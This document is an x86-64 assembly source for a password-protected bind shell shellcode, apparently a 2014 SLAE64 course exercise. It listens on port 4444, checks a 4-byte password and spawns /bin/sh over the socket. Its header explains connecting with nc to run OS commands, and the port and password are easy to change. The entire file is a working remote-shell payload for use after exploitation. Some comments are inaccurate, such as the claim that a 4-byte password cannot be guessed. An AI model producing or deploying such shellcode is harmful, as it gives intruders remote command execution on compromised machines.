; ===================================================================
; Password Protected Bind Shell
; Author: SLAE64-1351 (Keyman)
; Date: 03/09/2014
;
; Shellcode length: 147 bytes
;
; Description:
;
; Simple bind shell (listens on port 4444 by default) with 4 bytes
; password protection. Using a 4 bytes long password is still
; reasonably strong for a single-shot connection and keeps the
; code shorter.
;
; To change the port or the password just modify the values of the
; exp_port and exp_pass "variables" below.
;
; After the code gets executed connect to the newly opened port:
;
; nc <IP address> <port number>
;
; There is no password prompt. Type in the 4 bytes long password
; and hit enter. If the password matches, you are ready to type
; OS commands.
;
; ===================================================================
global _start
section .text
; -------------------------------------------------------------------
; Preprocessor directives so you can easily change the port and the
; password.
; -------------------------------------------------------------------
; Port number to listen on.
%define exp_port 0x5c11 ; 4444
; Password to use.
%define exp_pass 0x6c6c6568 ; hell
; -------------------------------------------------------------------
; DO NOT TOUCH
; preprocessor directives so syscalls can be easily referenced
; -------------------------------------------------------------------
%define sys_bind 49
%define sys_listen 50
%define sys_accept 43
%define sys_execve 59
%define sys_dup2 33
_start:
; ---------------------------------------------------------------
; START: create socket
; ---------------------------------------------------------------
xor rax, rax
push rax ; saving for sockaddr
push rax ; struct
push rax ; clear rax later
push rax ; set rdx to 0
pop rdx ; protocol
mov al, 2
push rax
push rax
pop rsi
pop rdi ; PF_INET
shr rsi, 1 ; SOCK_STREAM
add al, 39 ; socket syscall (41)
syscall
; ---------------------------------------------------------------
push rax ; store sockfd as first
pop rdi ; argument of bind
; ---------------------------------------------------------------
; START: create struct
;
; srv_addr.sin_family = AF_INET;
; srv_addr.sin_addr.s_addr = INADDR_ANY;
; srv_addr.sin_port = htons(portno);
;
; This is how it looks like on the stack (port is 4444):
;
; 0x02 0x00 0x11 0x5c 0x00 0x00 0x00 0x00
; 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
; ---------------------------------------------------------------
pop rax ; clear rax so can be
; used for syscall Nr.
mov byte [rsp], 2 ; set values
mov word [rsp+2], exp_port
push rsp
pop rsi ; addr of struct in rsi
; ---------------------------------------------------------------
; bind socket
; ---------------------------------------------------------------
push rax
pop rdx
add dl, 16 ; socklen_t addrlen
add al, sys_bind ; syscall number
syscall
; ---------------------------------------------------------------
; listen
; ---------------------------------------------------------------
; rdi should still hold the socket descriptor so we don't
; have to set it again
; We can save a 'xor rax, rax' here.
; If success, 0 is returned by bind, we will have the rax reg.
; cleared.
push 2
pop rsi
add al, sys_listen
syscall
; ---------------------------------------------------------------
; accept
; ---------------------------------------------------------------
; rdi should still hold the socket descriptor so we don't
; have to set it again
; We can save a 'xor rax, rax' here.
; If success, 0 is returned by listen, we will have the rax reg.
; cleared.
push rax
pop rdx
push rax
pop rsi
add al, sys_accept
syscall
; at this point rax contains the new socket descriptor
push rax ; save new sockfd
push rax ;
pop rdi ; first argument for
; read()
pop r15 ; save for later
; ---------------------------------------------------------------
; get passwd
;
; We will work with a 4 byte password, should be more than
; enough as no brute forcing is possible. Chances to guess
; the right value is 0. Of course passwd should not contain
; null bytes.
;
; n = read(newsockfd,buffer,4);
; ---------------------------------------------------------------
xor rax, rax ; read() is syscall Nr. 0
push rax ; buffer filled with 0s
push rsp ; setup pointer to buf
pop rsi
add rdx, 4
syscall
; compare pass received with valid pass and exit if no match
xor rcx, rcx
inc rcx
push rsp
pop rdi
push exp_pass
push rsp
pop rsi
cmpsq
jne passfail ; passwd match, give shell
shell:
; ---------------------------------------------------------------
; 6. exec shell
; ---------------------------------------------------------------
add cl, 2
mov rdi, r15
dup_loop:
push rcx ; have to save rcx as dup2
; changes it's value
xor rax, rax
sub rcx, 1
push rcx
pop rsi
add al, sys_dup2
syscall
pop rcx ; restore the counter
loop dup_loop
jmp mytext
code:
pop rdi
mov [rdi+7], BYTE al
push rax
push rax
pop rsi
pop rdx
add al, sys_execve
syscall
mytext:
call code
MyText: db '/bin/sh', 0x41
passfail: